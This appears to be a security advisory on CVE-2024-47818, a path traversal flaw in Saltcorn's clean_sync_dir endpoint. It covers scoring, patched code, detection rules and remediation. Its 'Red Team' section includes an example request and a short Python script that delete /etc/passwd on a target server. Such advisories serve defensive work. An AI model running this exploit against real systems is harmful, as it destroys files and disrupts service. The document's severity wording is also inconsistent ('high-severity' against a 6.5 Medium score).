CVE-2024-47818

Executive Summary

CVE-2024-47818 is a high-severity path traversal vulnerability in Saltcorn, an open-source, no-code database application builder. A logged-in user with any role can exploit the /sync/clean_sync_dir endpoint to delete arbitrary files on the server filesystem. The vulnerability arises because the dir_name POST parameter is not validated or sanitized, allowing an attacker to traverse directories using ../ sequences. This can lead to data loss, service disruption, or potential privilege escalation if critical system files are removed. The issue has been patched in version 1.0.0-beta16, and no workarounds are available.

Supply Chain & Package Security

Saltcorn is distributed as an npm package (@saltcorn/saltcorn). Users should verify the integrity of the package by checking the SHA checksum against the official release. The vulnerability affects all versions prior to 1.0.0-beta16. Organizations using Saltcorn in production should immediately update to the patched version and review their dependency tree for any outdated or vulnerable packages.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: High

Threat Level: Medium. While the vulnerability requires authentication, any authenticated user (regardless of role) can exploit it. The impact on integrity and availability is high, as arbitrary file deletion can corrupt the application or the underlying system.

Deep Dive & Mechanics

The vulnerability exists in the /sync/clean_sync_dir endpoint. The endpoint accepts a POST parameter dir_name, which is used to construct a path (syncDir) that is then deleted using fs.rm. The code does not validate or sanitize the dir_name parameter, allowing an attacker to include path traversal sequences (e.g., ../) to delete files outside the intended directory.

Vulnerable Code Flow:

1. User sends a POST request to /sync/clean_sync_dir with dir_name=../../../etc/passwd.
2. The server constructs syncDir by concatenating a base path with the user-supplied dir_name.
3. fs.rm(syncDir, { recursive: true, force: true }) is called, deleting the targeted file or directory.

Impact:

• Deletion of configuration files, application code, or system binaries.
• Potential denial of service (DoS) if critical files are removed.
• In some cases, privilege escalation if the attacker can delete files that affect authentication or authorization mechanisms.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.0.0-beta16):

// Vulnerable endpoint handler
app.post('/sync/clean_sync_dir', (req, res) => {
  const dir_name = req.body.dir_name;
  const syncDir = path.join(__dirname, 'sync', dir_name);
  fs.rm(syncDir, { recursive: true, force: true }, (err) => {
    if (err) {
      return res.status(500).send('Error cleaning sync directory');
    }
    res.send('Sync directory cleaned');
  });
});

Patched Code (1.0.0-beta16):

// Patched endpoint handler
app.post('/sync/clean_sync_dir', (req, res) => {
  const dir_name = req.body.dir_name;
  // Validate dir_name to prevent path traversal
  if (typeof dir_name !== 'string' || dir_name.includes('..') || dir_name.includes('/')) {
    return res.status(400).send('Invalid directory name');
  }
  const syncDir = path.join(__dirname, 'sync', dir_name);
  // Ensure syncDir is within the allowed base path
  if (!syncDir.startsWith(path.join(__dirname, 'sync'))) {
    return res.status(400).send('Invalid directory name');
  }
  fs.rm(syncDir, { recursive: true, force: true }, (err) => {
    if (err) {
      return res.status(500).send('Error cleaning sync directory');
    }
    res.send('Sync directory cleaned');
  });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on a Saltcorn instance (any role).
• Network access to the Saltcorn server.

Exploitation Steps:

1. Authenticate to the Saltcorn application and obtain a session cookie.
2. Send a POST request to the /sync/clean_sync_dir endpoint with a malicious dir_name parameter.

Example Request:

POST /sync/clean_sync_dir HTTP/1.1
Host: target-saltcorn.com
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid_session_cookie

dir_name=../../../etc/passwd

Expected Outcome:

• The file /etc/passwd is deleted, causing authentication issues on the server.
• Alternatively, delete application-specific files to disrupt the service.

Automated Exploit Script (Python):

import requests

target = "http://target-saltcorn.com"
session_cookie = {"session": "valid_session_cookie"}

# Delete /etc/passwd
payload = {"dir_name": "../../../etc/passwd"}
response = requests.post(f"{target}/sync/clean_sync_dir", data=payload, cookies=session_cookie)
print(response.text)

Blue Team

Detection & Prevention:

• Monitor for POST requests to /sync/clean_sync_dir with suspicious dir_name parameters containing ../ or absolute paths.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Ensure the application runs with the least privileges necessary, limiting the impact of file deletion.

Honeypot Strategy:

• Deploy a decoy Saltcorn instance with fake sensitive files (e.g., /tmp/honeypot_key).
• Alert when the /sync/clean_sync_dir endpoint is accessed with path traversal payloads.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /sync/clean_sync_dir with dir_name containing ../ or absolute paths.
  • Unusual HTTP 200 responses from the endpoint followed by service disruption.

• File System IOCs:

  • Unexpected deletion of files in /etc, /var/log, or application directories.
  • Presence of backup files or logs indicating file deletion attempts.

• Log IOCs:

  • Application logs showing dir_name parameter with path traversal sequences.
  • System logs (e.g., auditd) recording unlink or rm operations on sensitive files.

Detection Engineering

YARA Rule

rule CVE_2024_47818_Saltcorn_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Saltcorn clean_sync_dir endpoint"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-47818"
    strings:
        $traversal = /dir_name=[^&]*\.\.\//
        $endpoint = "/sync/clean_sync_dir"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: Saltcorn Path Traversal via clean_sync_dir
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Saltcorn clean_sync_dir endpoint
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47818
author: Valters IT
date: 2024-10-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/sync/clean_sync_dir"
        cs-uri-query|re: "dir_name=.*\.\./"
    condition: selection
falsepositives:
    - Legitimate use of directory names with dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-47818 Saltcorn Path Traversal Attempt";
    flow:to_server;
    content:"POST";
    http_method;
    content:"/sync/clean_sync_dir";
    http_uri;
    content:"dir_name=";
    http_client_body;
    pcre:"/dir_name=[^&]*\.\.\//";
    sid:1000001;
    rev:1;
    reference:cve,2024-47818;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Saltcorn to version 1.0.0-beta16 or later.
2. If immediate upgrade is not possible, restrict access to the /sync/clean_sync_dir endpoint using a reverse proxy or WAF.
3. Review and rotate any credentials or secrets that may have been exposed.

Long-term Measures:

• Implement input validation and sanitization for all user-supplied parameters.
• Use a secure coding framework that automatically handles path traversal prevention.
• Conduct regular security audits and penetration testing.

Workarounds:

• No official workarounds are available. The only mitigation is to upgrade or block the endpoint.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert